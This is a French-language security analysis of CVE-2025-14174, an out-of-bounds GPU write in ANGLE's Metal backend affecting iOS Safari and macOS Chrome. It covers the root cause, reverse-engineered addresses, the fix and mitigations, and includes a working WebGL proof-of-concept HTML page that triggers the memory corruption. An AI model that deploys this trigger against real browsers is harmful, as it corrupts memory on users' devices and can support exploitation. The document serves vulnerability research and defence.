
Analyse et PoC pour CVE-2025-14174 - ANGLE Metal écriture hors limites (iOS Safari, macOS Chrome)
| CVE | CVE-2025-14174 |
| Sévérité | Élevé |
| Exploité ITW | Oui – attaques ciblées sur iOS < 26 |
| Affecté | iOS Safari, macOS Chrome/Chromium/Electron (pas macOS Safari) |
| Statut | Corrigé dans le commit ANGLE 95a32cb |
| Crédit | Apple, Google Threat Analysis Group |
Selon Apple, CVE-2025-14174 a été exploitée dans le cadre d'une « attaque extrêmement sophistiquée contre des individus spécifiquement ciblés » sur les versions d'iOS antérieures à iOS 26.
La chaîne d'attaque incluait :
Une vulnérabilité d'écriture hors limites (OOB) existe dans le backend Metal d'ANGLE lors du téléchargement de textures de profondeur via un tampon de staging. La taille du tampon de staging est calculée en utilisant GL_UNPACK_IMAGE_HEIGHT au lieu de la hauteur réelle de la texture. Lorsque UNPACK_IMAGE_HEIGHT < height, ANGLE alloue un tampon trop petit puis y écrit height lignes, provoquant une corruption de mémoire GPU dans le processus de rendu.
Cette vulnérabilité affecte les applications utilisant le backend Metal d'ANGLE pour WebGL :
| Plateforme | Logiciel | Affecté | Remarques |
|---|---|---|---|
| iOS | Safari | Oui | WebKit sur iOS utilise ANGLE Metal pour WebGL |
| macOS | Chrome / Chromium | Oui | Utilise le backend Metal d'ANGLE |
| macOS | Applications Electron | Oui | Utilise l'implémentation ANGLE de Chromium |
| macOS | Safari | Non | Utilise le WebGL Metal natif de WebKit, pas ANGLE |
iOS Safari est affecté. Sous iOS, WebKit utilise ANGLE comme backend WebGL, ce qui rend Safari sur iPhone et iPad vulnérable.
macOS Safari n'est PAS affecté. Sous macOS, Safari utilise sa propre implémentation WebGL native qui interface directement avec Metal, contournant complètement ANGLE.
macOS Chrome est affecté. Google Chrome fonctionnant sous macOS 26.1 s'est avéré vulnérable lors des tests, car il utilise le backend Metal d'ANGLE pour WebGL.
Le chemin de code vulnérable existe dans la classe TextureMtl d'ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
| Sévérité | Description |
|---|---|
| Confirmé | Écriture GPU/backend Metal au-delà de la fin du tampon de staging |
| Confirmé | Reproductible via WebGL2 + PBO + DEPTH_COMPONENT32F |
| Plausible | Crash du processus GPU ou perte de contexte sous pression mémoire |
| Théorique | Corruption inter-ressources dans la mémoire GPU (non démontrée) |
Caractéristiques clés :
NO_ERROR)Dans le chemin de téléchargement de texture de profondeur D32F, ANGLE calcule pixelsDepthPitch à partir de GL_UNPACK_IMAGE_HEIGHT et utilise cette valeur pour dimensionner le MTLBuffer de staging. Cependant, la dispatch de calcul ultérieure (saturation de profondeur) utilise la hauteur réelle de la texture pour l'opération, provoquant une écriture OOB lorsque les paramètres diffèrent.
Pour width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F :
| Paramètre | Calcul | Valeur |
|---|---|---|
| Pas de ligne | width * sizeof(float) | 4 octets |
| Tampon de staging (alloué) | rowPitch * UNPACK_IMAGE_HEIGHT | 512 octets |
| Dispatch de calcul (écrit) | rowPitch * actualHeight | 2048 octets |
| Écriture OOB | 2048 - 512 | 1536 octets |
Toutes les conditions suivantes doivent être réunies :
DEPTH_COMPONENT32F (vérifié ; d'autres formats de profondeur peuvent également être affectés mais non testés)PIXEL_UNPACK_BUFFERGL_UNPACK_IMAGE_HEIGHT défini à une valeur inférieure à la hauteur réelle de la textureGL_UNPACK_IMAGE_HEIGHT est défini par la spécification GL pour affecter les téléchargements de textures 3D/en tableau, pas les textures 2D. Pour TEXTURE_2D :
UNPACK_IMAGE_HEIGHT < height pour les textures 2DAPI WebGL
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Backend Metal)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Calcule pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← SOUS-DIMENSIONNÉ
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← UTILISE LA HAUTEUR RÉELLE
| Fonction | Adresse | Rôle |
|---|---|---|
setSubImageImpl | 0x272fa9028 | Calcule le depthPitch sous-dimensionné |
setPerSliceSubImage | 0x272fac240 | Alloue le tampon de staging sous-dimensionné |
MakeBufferWithStorageMode | 0x272ef19bc | Crée MTLBuffer avec une taille erronée |
SaturateDepth | 0x272facfa4 | Dispatch de calcul avec les dimensions réelles |
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch)
0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
| Fonction | Adresse | Rôle |
|---|---|---|
setSubImageImpl | 0x22c6d10f4 | Calcule le depthPitch sous-dimensionné |
setPerSliceSubImage | 0x22c6d4398 | Alloue le tampon de staging sous-dimensionné |
MakeBufferWithStorageMode | 0x22c619490 | Crée MTLBuffer avec une taille erronée |
SaturateDepth | 0x22c6d5144 | Dispatch de calcul avec les dimensions réelles |
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT
; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack
0x22c6d4628: bl MakeBufferWithStorageMode
La fonction SaturateDepth dispatche ensuite un compute shader Metal en utilisant les dimensions réelles de la texture, écrivant au-delà du tampon de staging sous-dimensionné.
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');
const width = 256, height = 256;
const unpackHeight = 16; // << plus petit que la hauteur réelle
// Création du PBO avec les données de profondeur
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);
// Définition du paramètre de décalage
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);
// Téléchargement de la texture de profondeur - déclenche l'écriture OOB
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
width, height, 0,
gl.DEPTH_COMPONENT, gl.FLOAT, 0
);
// Vérification des erreurs (retourne généralement NO_ERROR malgré l'OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>
Résultat attendu sur les systèmes vulnérables : gl.getError() retourne NO_ERROR malgré l'écriture OOB se produisant dans le processus GPU.
Le commit ANGLE 95a32cb corrige l'allocation du tampon de staging en utilisant les dimensions réelles de la texture :
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));
// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
De plus, le calcul de srcBytesPerImage a été corrigé pour l'opération de blit :
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Cette vulnérabilité est difficile à détecter depuis JavaScript :
NO_ERROR même lorsque le bogue est déclenché| Approche | Description |
|---|---|
| Mise à jour | Appliquer les mises à jour de plateforme contenant le correctif ANGLE |
| Contournement | Éviter de définir UNPACK_IMAGE_HEIGHT plus petit que la hauteur réelle pour les textures de profondeur |
| Défense en profondeur | Utiliser des téléchargements de taille fixe où UNPACK_IMAGE_HEIGHT == height |
Découverte de la vulnérabilité : Apple, Google Threat Analysis Group
Analyse technique : Ce document documente une recherche indépendante et du rétro-ingénierie de la vulnérabilité.
Analyse réalisée dans le cadre du projet de recherche SpiderWebKit.